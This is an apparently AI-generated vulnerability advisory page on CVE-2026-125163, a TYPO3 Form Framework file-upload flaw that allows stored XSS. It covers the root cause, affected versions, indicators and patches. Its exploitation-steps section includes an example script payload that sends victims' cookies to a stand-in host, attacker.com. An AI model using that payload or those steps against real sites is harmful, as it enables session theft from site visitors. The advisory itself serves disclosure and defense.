CVE-2026-125163: 
PHP Análise e mitigação de vulnerabilidades

Visão geral

CVE-2026-125163 is an unrestricted file upload vulnerability in the TYPO3 CMS Form Framework that can lead to Cross-Site Scripting (XSS). The flaw exists in the FileUpload and ImageUpload elements, where an empty allowedMimeTypes list is incorrectly treated as "no restriction," allowing unauthenticated users to upload browser-executable files (e.g., HTML, SVG) to publicly accessible storage. Affected versions span multiple TYPO3 branches: 10.0.0–10.4.62, 11.0.0–11.5.56, 12.0.0–12.4.51, 13.0.0–13.4.39, and 14.0.0–14.3.11. It was published on November 17, 2026, and carries a CVSS v4.0 base score of 6.3 (Medium) (Feedly, TYPO3 Advisory).

Detalhes técnicos

The root cause is classified as CWE-434 (Unrestricted Upload of File with Dangerous Type). The allowedMimeTypes property in TYPO3's Form Framework is intended to act as an allowlist, but when the list is empty — either due to manual form definitions or all MIME types being deselected in the form editor — the framework applies no MIME type restriction. The only remaining protection is a file deny pattern that exclusively blocks PHP-related extensions, leaving HTML and SVG files uploadable. An unauthenticated attacker can submit a multipart form upload request with a browser-executable file; if the attacker can subsequently determine the URL of the uploaded file (a condition linked to TYPO3-CORE-SA-2026-029), they can deliver a stored XSS payload to victims visiting that URL on servers lacking the TYPO3-recommended Content-Security-Policy for the upload folder (Feedly, TYPO3 Advisory).

Impacto

Successful exploitation allows unauthenticated attackers to upload malicious HTML or SVG files to a publicly accessible storage folder, which can be used to execute arbitrary JavaScript in the browsers of users who access the uploaded file's URL. The primary impact is a confidentiality risk (e.g., session token theft, credential harvesting) via stored XSS, with no direct integrity or availability impact on the server itself. The attack is constrained by the need to know the uploaded file's URL and the absence of a Content-Security-Policy on the upload target folder, limiting but not eliminating real-world risk (Feedly).

Explorabilidade

No public proof-of-concept exploit code or in-the-wild exploitation has been reported as of the disclosure date. The EPSS score is 0.0, and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities catalog. NVD's SSVC assessment classifies exploitation as "none" and notes the attack is not automatable, reflecting the requirement for an attacker to also know the URL of the uploaded file (a precondition tied to a separate advisory, TYPO3-CORE-SA-2026-029) (Feedly).

Etapas de exploração

  1. Identify a vulnerable form: Locate a TYPO3 site running an affected version with a public-facing form that includes a FileUpload or ImageUpload element where allowedMimeTypes is empty (e.g., a manually created form definition or one with all MIME types deselected).
  2. Craft a malicious file: Prepare a browser-executable file such as an HTML document containing a JavaScript payload (e.g., <script>document.location='https://attacker.com/?c='+document.cookie</script>) or an SVG file with an embedded <script> tag.
  3. Upload the file: Submit the form with the malicious file attached. Because allowedMimeTypes is empty, the framework applies no MIME type restriction, and the file deny pattern does not block HTML or SVG extensions, so the upload succeeds.
  4. Determine the file URL: Use the technique described in TYPO3-CORE-SA-2026-029 to discover the URL of the uploaded file in the public storage folder.
  5. Deliver the XSS payload: Share or embed the URL of the uploaded file to target users. When a victim visits the URL on a server without the TYPO3-recommended Content-Security-Policy, the browser executes the embedded script, achieving XSS (Feedly, TYPO3 Advisory).

Indicadores de compromisso

  • Network: Multipart POST requests to TYPO3 form submission endpoints containing file uploads with .html or .svg extensions where MIME type restrictions are expected.
  • File System: Presence of .html or .svg files in the TYPO3 form upload target folder (typically within fileadmin/ or a configured public storage path) containing <script> tags or JavaScript event handlers.
  • Logs: Web server access logs showing GET requests to uploaded HTML/SVG files in the form upload directory from external IP addresses, particularly shortly after a POST upload request from a different IP.

Mitigação e soluções alternativas

TYPO3 has released patched versions that treat an empty allowedMimeTypes list as "deny all" rather than "allow all": update to 10.4.63, 11.5.57, 12.4.52, 13.4.40, or 14.3.12 as appropriate for your branch. As an immediate workaround, administrators should ensure all FileUpload and ImageUpload form elements have at least one explicitly configured MIME type, and apply the Content-Security-Policy recommended by TYPO3 to the form upload target folder to prevent browser execution of uploaded files. Reviewing and restricting public access to the upload storage folder is also advisable (TYPO3 Advisory, Feedly).

Reações da comunidade

Coverage has been limited to automated vulnerability tracking platforms and aggregators shortly after disclosure. SecurityOnline.info published a brief note referencing related TYPO3 vulnerabilities disclosed at the same time. No notable independent researcher commentary or significant social media discussion has been identified (Feedly).

Recursos adicionais


Origem: Este relatório foi gerado usando IA

Relacionado PHP Vulnerabilidades:

CVE ID

Gravidade

Pontuação

Tecnologias

Nome do componente

Exploit CISA KEV

Tem correção

Data de publicação

CVE-2026-104883HIGH7.2
  • PHP logoPHP
  • contao/core-bundle
NãoSimNov 20, 2026
GHSA-vw9g-2c4c-g767MEDIUM6.8
  • PHP logoPHP
  • livewire/livewire
NãoSimNov 21, 2026
CVE-2026-104882MEDIUM6.5
  • PHP logoPHP
  • cpe:2.3:a:contao:contao
NãoSimNov 20, 2026
GHSA-2g6w-c7gx-fxj8MEDIUM5.4
  • PHP logoPHP
  • guzzlehttp/guzzle
NãoSimNov 21, 2026
CVE-2026-104884MEDIUM5.4
  • PHP logoPHP
  • composer://contao/contao
NãoSimNov 20, 2026

Avaliação Gratuita de Vulnerabilidades

Avalie a sua postura de segurança na nuvem

Avalie suas práticas de segurança em nuvem em 9 domínios de segurança para avaliar seu nível de risco e identificar lacunas em suas defesas.

Avaliação de solicitação

Recursos adicionais da Wiz

Marque uma demonstração personalizada

Pronto para ver a Wiz em ação?

"A melhor experiência do usuário que eu já vi, fornece visibilidade total para cargas de trabalho na nuvem."
David EstlickCISO
"A Wiz fornece um único painel de vidro para ver o que está acontecendo em nossos ambientes de nuvem."
Adam FletcherDiretor de Segurança
"Sabemos que se a Wiz identifica algo como crítico, na verdade é."
Greg PoniatowskiChefe de Gerenciamento de Ameaças e Vulnerabilidades